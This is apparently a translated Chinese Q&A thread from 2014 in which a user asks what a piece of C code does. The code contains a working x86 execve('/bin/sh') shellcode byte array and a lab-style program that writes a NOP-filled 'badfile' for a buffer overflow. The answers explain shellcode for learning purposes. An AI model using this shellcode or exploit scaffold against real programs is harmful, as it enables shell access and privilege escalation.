c或c ++中的这种shell代码是什么?

时间:2014-05-17 17:09:46

标签: exploit shellcode

我有这个代码

 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
 char shellcode[]=
       "\x31\xc0"             /* xorl    %eax,%eax              */
       "\x50"                 /* pushl   %eax                   */
       "\x68""//sh"           /* pushl   $0x68732f2f            */
       "\x68""/bin"           /* pushl   $0x6e69622f            */
       "\x89\xe3"             /* movl    %esp,%ebx              */
       "\x50"                 /* pushl   %eax                   */
       "\x53"                 /* pushl   %ebx                   */
       "\x89\xe1"             /* movl    %esp,%ecx              */
       "\x99"                 /* cdql                           */
       "\xb0\x0b"             /* movb    $0x0b,%al              */
       "\xcd\x80"             /* int     $0x80                  */
     ;

    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;

        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);

        /* You need to fill the buffer with appropriate contents here */ 

        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }

我想知道并了解更多关于这种调用expliot的代码,什么是shell代码?我如何学习编写shell代码,我想知道这些代码究竟做了什么。

2 个答案:

答案 0 :(得分:2)

可能是一个过于宽泛的问题,但无论如何我都会为新手提供一些信息:

shellcode通常是特定于目标的语言中的一系列指令,这些指令被“写”到内存中并且旨在被执行以获得特权或操纵数据。

Shellcode是非常硬件,平台和版本特定的:如果你有一个x86处理器,你必须定位该ISA,以便在你“注入”或将主程序的执行转移到它之后让代码运行。

机器指令通常是二进制代码(或十六进制,取决于您如何表示数据)并告诉机器接下来应该做什么,您使用opcode。在上面的代码中,您正在查看指定

的操作码
  • 要执行的指令
  • 应该执行它的操作数

说:如果你真的想要解决安全领域,你需要学习很多关于编程,逆转,架构,系统内部和安全系统的知识。

至于该代码的作用:它进入系统调用并执行/bin/sh

#include <unistd.h>

void main()
{
        char *shell[2];

        shell[0] = "/bin/sh";
        shell[1] = NULL;

        execve(shell[0], shell, NULL);
}

取自http://www.enderunix.org/docs/en/bof-eng.txt

祝你好运。

答案 1 :(得分:1)

Hacking: The Art of Exploitation的第315页很好地解释了代码的作用。